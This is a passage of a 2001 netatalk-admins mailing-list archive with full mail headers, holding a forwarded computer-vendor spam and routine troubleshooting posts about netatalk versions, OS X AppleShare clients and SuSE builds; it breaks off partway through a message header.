From netatalk.administrators-errors@umich.edu  Fri Oct  5 13:45:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA08983
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Oct 2001 13:45:02 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA06712
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Oct 2001 13:45:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA06694
	for netatalk.administrators-members@umich.edu; Fri, 5 Oct 2001 13:45:01 -0400 (EDT)
Received: from 192.168.0.3 (lsanca1-ar6-4-35-071-157.elnk.dsl.gtei.net [4.35.71.157])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id NAA06511
	for <netatalk-admins@umich.edu>; Fri, 5 Oct 2001 13:44:54 -0400 (EDT)
Message-Id: <200110051744.NAA06511@kidgalahad.mr.itd.umich.edu>
Date: Fri, 5 Oct 2001 13:44:54 -0400 (EDT)
From: just <c_jus@hotmail.com>
To: customer@umich.edu
Subject:  On-Line Order
X-Reply-To:  Just <c_jus@hotmai.com>
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

Dear Valued Consumer,


All of us are deeply saddened by the recent 
tragedies in New York City, Washington D.C. 
and Pennsylvania. Our hearts and thoughts 
are with the victims, their families, 
friends, neighbors and all Americans 
everywhere.


We supply PC, Notebook, and Server 
computers. This link maybe helps you.

http://j141.varnet.org

Thanks


This email is not intended to be SPAM. It is 
targeted at members in our database. If you have 
received this email in error, please accept our 
apologies. Please respond with "REMOVE" in the 
subject line to be removed from our database. If you 
are not the person that deals with this, we request 
you to kindly forward this message to the right 
person.



From netatalk.administrators-errors@umich.edu  Fri Oct  5 14:36:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA11808
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Oct 2001 14:36:02 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA18944
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Oct 2001 14:36:02 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA18929
	for netatalk.administrators-members@umich.edu; Fri, 5 Oct 2001 14:36:02 -0400 (EDT)
Received: from barry.mail.mindspring.net (barry.mail.mindspring.net [207.69.200.25])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA18896
	for <netatalk-admins@umich.edu>; Fri, 5 Oct 2001 14:36:01 -0400 (EDT)
Received: from mindspring.com (user-38ld8cr.dsl.mindspring.com [209.86.161.155])
	by barry.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id OAA04165
	for <netatalk-admins@umich.edu>; Fri, 5 Oct 2001 14:36:00 -0400 (EDT)
Message-ID: <3BBDFD91.570F55F2@mindspring.com>
Date: Fri, 05 Oct 2001 14:36:00 -0400
From: Barry Stock <barrystock@mindspring.com>
Reply-To: barrystock@mindspring.com
X-Mailer: Mozilla 4.78C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; U; PPC)
X-Accept-Language: en,pdf
MIME-Version: 1.0
CC: netatalk-admins@umich.edu
Subject: Spam via netatalk list...
References: <937544811gjermund@mac.com>
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<i>Dear Valued Consumer,</i>
<br><i></i>&nbsp;<i></i>
<p><i>All of us are deeply saddened by the recent</i>
<br><i>tragedies in New York City, Washington D.C.</i>
<br><i>and Pennsylvania. Our hearts and thoughts</i>
<br><i>are with the victims, their families,</i>
<br><i>friends, neighbors and all Americans</i>
<br><i>everywhere.</i>
<br><i></i>&nbsp;<i></i>
<p><i>We supply PC, Notebook, and Server</i>
<br><i>computers. This link maybe helps you.</i><i></i>
<p><i><A HREF="http://j141.varnet.org">http://j141.varnet.org</A></i><i></i>
<p><i>Thanks</i>
<br><i></i>&nbsp;<i></i>
<p><i>This email is not intended to be SPAM. It is</i>
<br><i>targeted at members in our database. If you have</i>
<br><i>received this email in error, please accept our</i>
<br><i>apologies. Please respond with "REMOVE" in the</i>
<br><i>subject line to be removed from our database. If you</i>
<br><i>are not the person that deals with this, we request</i>
<br><i>you to kindly forward this message to the right</i>
<br><i>person.</i>
<p>It wouldn't be so irritating were it not for the pathetic, obsequious,
fawning first paragraph, which is simply inexcusable.
<p>I found this as well:
<p><i>Our Address is:</i><i></i>
<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1025 South Placentia Ave.</i>
<br><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Fullerton , CA&nbsp;&nbsp; 92831</i>
<br><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
US</i><i></i>
<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Telephone: 888-797-5465</i>
<br><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
FAX: 714-871-8881</i><i></i>
<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
We are open:</i>
<br><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
(M-F) MON-FRI 10-6</i>
<br><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
(S) SAT 10-4</i>
<br><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
(S) VIRTUAL STORE ALWAYS OPEN</i></html>


From netatalk.administrators-errors@umich.edu  Fri Oct  5 15:08:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA13390
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Oct 2001 15:08:19 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA10872
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Oct 2001 15:08:19 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA10858
	for netatalk.administrators-members@umich.edu; Fri, 5 Oct 2001 15:08:18 -0400 (EDT)
Received: from 33rpm.com (w036.z065104189.chi-il.dsl.cnc.net [65.104.189.36])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA10833
	for <netatalk-admins@umich.edu>; Fri, 5 Oct 2001 15:08:17 -0400 (EDT)
Received: from [65.104.189.59] (65.104.189.59) by 33rpm.com with ESMTP
 (Eudora Internet Mail Server 3.0.3) for <netatalk-admins@umich.edu>;
 Fri, 5 Oct 2001 14:14:35 -0500
Mime-Version: 1.0
Message-Id: <p05100313b7e3b1cc3748@[65.104.189.59]>
Date: Fri, 5 Oct 2001 14:08:12 -0500
To: netatalk-admins@umich.edu
From: Sid Stary <sid@33rpm.com>
Subject: disk size weirdness with aliases
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

hi,
I have a weird problem with netatalk and aliases of other drives 
placed in a home dir. here is the situation:

(1) a user log in his home dir (/home/user) -this home dir is a drive 
with a 3 gig capacity

(2) in this /home/user dir there an alias placed of a drive /files 
which is 200 gigs

(3) when I log in via AppleTalk and open the /files alias the Mac 
window bar shows only 3gig available.

(4) the weird thing is that when I copy a 2 meg file to the /files 
dir, and the copy is finished, the capacity once again shows 3 megs 
available.

Now I would not care what the Mac window bar shows, but when I try to 
copy a file that is larger than 3 gigs, it will not let me do it....

any ideas...?

thank you in advance, sid

ps running kernel 2.4, on Proliant 3000, netatalk 1.4b2

From netatalk.administrators-errors@umich.edu  Fri Oct  5 16:02:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA16479
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Oct 2001 16:02:28 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA24013
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Oct 2001 16:02:28 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA24004
	for netatalk.administrators-members@umich.edu; Fri, 5 Oct 2001 16:02:27 -0400 (EDT)
Received: from mail.cmp-weka.de (poing.dmv-franzis.de [194.122.1.193])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id QAA23975
	for <netatalk-admins@umich.edu>; Fri, 5 Oct 2001 16:02:26 -0400 (EDT)
Received: from SMTP01 by mail.cmp-weka.de
          via smtpd (for easycomeeasygo.mr.itd.umich.edu [141.211.14.26]) with SMTP; 5 Oct 2001 20:02:17 UT
Received: from [172.29.11.2] [172.29.11.2]
	by mail.cmp-weka.de [172.29.1.6]
	with SMTP (MDaemon.PRO.PRO.PRO.PRO.v5.0.0.R)
	for <netatalk-admins@umich.edu>; Fri, 05 Oct 2001 22:05:44 +0200
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Fri, 05 Oct 2001 22:00:38 +0200
Subject: Re: OS X irony
From: Thomas Schierle <tschierle@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B7E3DE06.2B28C%tschierle@visual-s.de>
In-Reply-To: <80256ADC.00502D54.00@notescam.cam.harlequin.co.uk>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-MDRemoteIP: 172.29.11.2
X-Return-Path: tschierle@visual-s.de
X-MDaemon-Deliver-To: netatalk-admins@umich.edu

On 2001-10-05 16:35 +0200,
"roger.day@globalgraphics.com"<roger.day@globalgraphics.com> wrote:

> Did you try tran, say, a 500 megabyte file structure from OSX to the paritions
> mounted via netatalk 1.5pre7? This crashes the 10.0.1 machine.
                                                 ^^^^^^
is this just a typo?

I believe nobody should expect any release of OS X below 10.0.4 to
even work in regards to AppleTalk. Apple did a considerable amount
of bugfixing with the 10.0.4 update.
10.1 apparently incorporates the first *usable* AppleShare client.

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers



From netatalk.administrators-errors@umich.edu  Fri Oct  5 17:39:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA21044
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 5 Oct 2001 17:39:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA06699
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 5 Oct 2001 17:39:11 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA06693
	for netatalk.administrators-members@umich.edu; Fri, 5 Oct 2001 17:39:11 -0400 (EDT)
Received: from editmy.he.net (editmy.he.net [216.218.244.242])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA06674
	for <netatalk-admins@umich.edu>; Fri, 5 Oct 2001 17:39:10 -0400 (EDT)
Received: from [10.0.0.2] ([131.191.28.197] (may be forged)) by editmy.he.net (8.8.6/8.8.2) with ESMTP id OAA30201 for <netatalk-admins@umich.edu>; Fri, 5 Oct 2001 14:39:08 -0700
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Fri, 05 Oct 2001 14:38:32 -0700
Subject: Slackware 8 and 1.5pre8 - still get "password incorrect"
From: xris <xris@mac.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B7E37668.BC1F%xris@mac.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Well, as per the announcement, I thought I would upgrade to 1.5pre8, but I
still get the "invalid password" errors that I got with pre7...  Guess I go
back to pre6 again, which works fine.


From netatalk.administrators-errors@umich.edu  Sat Oct  6 13:09:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA26120
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 6 Oct 2001 13:09:07 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA18434
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 6 Oct 2001 13:09:07 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA18414
	for netatalk.administrators-members@umich.edu; Sat, 6 Oct 2001 13:09:07 -0400 (EDT)
Received: from shell.3z.net (shell.3z.net [216.2.122.20])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA18375
	for <netatalk-admins@umich.edu>; Sat, 6 Oct 2001 13:09:06 -0400 (EDT)
Received: from [10.142.10.11] (adsl-port-1-14.3z.net [216.2.125.14])
	by shell.3z.net (8.9.3/8.9.3) with ESMTP id NAA12162
	for <netatalk-admins@umich.edu>; Sat, 6 Oct 2001 13:09:22 -0400
User-Agent: Microsoft-Entourage/9.0.2509
Date: Sat, 06 Oct 2001 13:12:20 -0400
Subject: User Athentication Method
From: Floyd Resler <fresler@charsys.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B7E4B3B4.2FFC%fresler@charsys.com>
Mime-version: 1.0
Content-type: multipart/alternative; boundary="B_3085218740_3228365"

> This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

--B_3085218740_3228365
Content-type: text/plain; charset="ISO-8859-1"
Content-transfer-encoding: quoted-printable

When I try to log on, I get a =B3User Athentication Method required by this
server cannot be found=B2.  I=B9m sure I have a configuration problem =AD I=B9m jus=
t
not sure what.

Thanks,
    Floyd 

--B_3085218740_3228365
Content-type: text/html; charset="ISO-8859-1"
Content-transfer-encoding: quoted-printable

<HTML>
<HEAD>
<TITLE>User Athentication Method</TITLE>
</HEAD>
<BODY>
<FONT FACE=3D"Verdana">When I try to log on, I get a &#8220;User Athenticatio=
n Method required by this server cannot be found&#8221;. &nbsp;I&#8217;m sur=
e I have a configuration problem &#8211; I&#8217;m just not sure what.<BR>
<BR>
Thanks,<BR>
&nbsp;&nbsp;&nbsp;&nbsp;Floyd</FONT>
</BODY>
</HTML>


--B_3085218740_3228365--


From netatalk.administrators-errors@umich.edu  Sat Oct  6 13:33:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA27173
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 6 Oct 2001 13:33:45 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA18500
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 6 Oct 2001 13:33:45 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA18486
	for netatalk.administrators-members@umich.edu; Sat, 6 Oct 2001 13:33:44 -0400 (EDT)
Received: from yellowspace.net (customer-host-145.yellowspace.net [213.183.5.145])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id NAA18402
	for <netatalk-admins@umich.edu>; Sat, 6 Oct 2001 13:33:42 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by yellowspace.net (Stalker SMTP Server 1.7) with ESMTP id S.0000106258 for <netatalk-admins@umich.edu>; Sat, 06 Oct 2001 19:33:37 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net (Unverified)
Message-Id: <a05101001b7e3f12ff3b7@[192.168.1.201]>
In-Reply-To: <B7E2899F.4BF7%rzeman@his.com>
References: <B7E2899F.4BF7%rzeman@his.com>
Date: Sat, 6 Oct 2001 19:33:24 +0200
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Re: OS X irony (and: OSXS10.1)
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

At 21:48 Uhr -0400 04.10.2001, Rick Zeman wrote:
>After struggling to find a version of netatalk that would work with 10.0.4,
>I said the hell with it after many failures and went back to my trusty
>1.4b2+asun2.1.4 (compiled from source and run on OpenLinux 2.4, kernel
>2.2.18).

1.4b2+asun2.1.4_pre37_test
The biggest problem is the inconsistency of folder IDs, but this will be a good reason to try out 1.5p8 with cnid-support ;-).  Have no panics anymore since 10.1. Had some spare ones with 10.0.4 (thanx, Apple).
Some small other problems occur when the rights of .AppleDoubles and content get messed up
(I use 2771 for dirs, 0660 for files and that usually works well.)

The following is for the topic "OS X irony":

I recently had the occasion to watch Mac OS X 10.1 Server's AFP features in action @ my favorite supplier.
I had in mind to eventually get OSX Server to replace netatalk for the most Macish-shares in our environment (and if benchmark comparisons hadn't been as depressing as they have, also as a php/mysql development server).

Here are some notes....(quick, informal 'showdown' ).

Speed (on a G3/266 DT with 225MB, original IDE drive, on 100BT Ethernet, cheap Realtek fast ethernet card):
- LinuxPPC /  netatalk 1.4b2+asun2.1.4_pre37_test:
   single file, 650 MB: ~8.5 MB/s
   folder, 2200 items, 250MB: ~ 3.5 MB/s
- OS X Server 10.1:
   single file, 650 MB: ~ 3.5 MB/s
   folder, 2200 items , 250MB: ~ 2.5 MB/s
(Note: using a newer G4 probably will saturate ethernet also with OSX)
(Note: the beta OSX driver for the realtek card could be involved)

Names / Encoding:
- Unicode is great. OS X Server 10.1 correctly uses samba codepages (10.0.4 didn't) for a good cross-platform usability, and long names usable in OS X, OS 9 (shortened as usual on HFS+ volumes) and Win clients.
- no equivalents to the -mswindows option: with Mac clients, you can still use characters that are illegal on Windows, e.g. the question mark, so Windows truncates those names and cannot access them

Filesystem metadata, folder IDs:
- as expected, no .AppleDouble-"clutter".  Instead, the other clutter: the 'now usual' .DS_Store, and the good old TheFindByContentFolder (visible? why?).
- Icons and all the rest work seemlessly,
- didn't try Quark... (have not)

Searching:
- incredible: both Sherlock 1 and 2 are even more _unusable_ in name searches when connected to OSXS 10.1 than with netatalk (Apple, what did ya do here??!)
- irony: Windows clients find files by name lightning fast on the OSXS-Samba ?æ-!

Configurability:
- OSXS 10.1 could be set up by completely inexperienced admins in minutes
- Forget the COMFORT of afpd.conf, AppleVolumes.default, and all the rest!
   Unless there will appear an 'advanced' administration tool, you'll feel like in a cage here.

Overall impression:
- My impression is that Mac-centric graphics companies... are possibly addressed with OSXS 10.1.
(I didn't have a _close_ look at the printing services, but LW and LPR-color RIP worked like a charm with it - and this might be also a good reason for the print sector).
- Kudos, Apple: you just axed a few jobs (now also photoshop-only users can administer a fileserver)....  ;-!
- Not for me (web development, mixed clients environment).
>From my personal perspective OSXS solution loses in the price/performance run with linux/intel boxes - but mainly for the hardware:  as of now, Macs are totally out of  competition from that point of view and I sincerely hope this will change radically soon (or OSX gets 'legalized for intel?')!

That is to say:
please KEEP IT GOING, Netatalk Development group...!  ;-)
- I hope to get that CNID-stuff productive soon (thanx to Karen Swanberg for the cross-post).

Another nice thing of netatalk is that we can still dream of  features... without depending on a $ompany for them to get reality (because it's... Open).
Dreams: ... a fast search... a nice, reliable GUI ssh remote admin tool... native HFS+ support  ()....

:-)

-LP


From netatalk.administrators-errors@umich.edu  Sat Oct  6 15:15:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA00395
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 6 Oct 2001 15:15:30 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA19426
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 6 Oct 2001 15:15:30 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA19419
	for netatalk.administrators-members@umich.edu; Sat, 6 Oct 2001 15:15:29 -0400 (EDT)
Received: from moutvdom01.kundenserver.de (moutvdom01.kundenserver.de [195.20.224.200])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA19391
	for <netatalk-admins@umich.edu>; Sat, 6 Oct 2001 15:15:28 -0400 (EDT)
Received: from [195.20.224.219] (helo=mrvdom03.schlund.de)
	by moutvdom01.kundenserver.de with esmtp (Exim 2.12 #2)
	id 15pwuw-0001ys-00; Sat, 6 Oct 2001 21:15:22 +0200
Received: from pd90020c8.dip.t-dialin.net ([217.0.32.200] helo=shrek.lisa.de)
	by mrvdom03.schlund.de with esmtp (Exim 2.12 #2)
	id 15pwuw-0004iZ-00; Sat, 6 Oct 2001 21:15:22 +0200
Received: from there (elfe.lisa.de [172.16.24.108])
	by shrek.lisa.de (Postfix (Linux)) with SMTP
	id 432A5F63; Sat,  6 Oct 2001 21:15:23 +0200 (CEST)
Content-Type: text/plain;
  charset="iso-8859-1"
From: Hans-Peter Jansen <hpj@urpla.net>
To: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: SuSE Linux and atalk 1.5pre
Date: Sat, 6 Oct 2001 21:15:21 +0200
X-Mailer: KMail [version 1.3]
References: <55EC28DE870FD411A34D00508B6A767DD5E410@frexch1.morse.com>
In-Reply-To: <55EC28DE870FD411A34D00508B6A767DD5E410@frexch1.morse.com>
Organization: TreeWater Society Berlin
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Message-Id: <20011006191523.432A5F63@shrek.lisa.de>

On Friday, 5. October 2001 15:34, Thomas Baumann wrote:
> hi,
>
> I“ve installed SuSE linux with atalk-1.4.99 rpm
> and it is running fine, except the quark xpress problem...
>
> how is the compiling syntax to build the same directory structure
> as in SuSE Linux 7.2 to perform an update ?
>
> I mean
>
> ./configure --prefix=/usr --mandir=/usr/share/man
>
> etc...
>
> I hope somebody can provide the information
>
> thanks
>
> - tom

Common answer: install SuSE source rpm, and look into
/usr/src/packages/SPECS/ file. Sometimes the script is a bit
confusing, but the configure parameters are easily located.
Take care of your environment (CC/CFLAGS) and

good luck!

Hans-Peter

From netatalk.administrators-errors@umich.edu  Sat Oct  6 21:35:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA12275
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 6 Oct 2001 21:35:44 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA02398
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 6 Oct 2001 21:35:44 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA02377
	for netatalk.administrators-members@umich.edu; Sat, 6 Oct 2001 21:35:43 -0400 (EDT)
Received: from shell.3z.net (shell.3z.net [216.2.122.20])
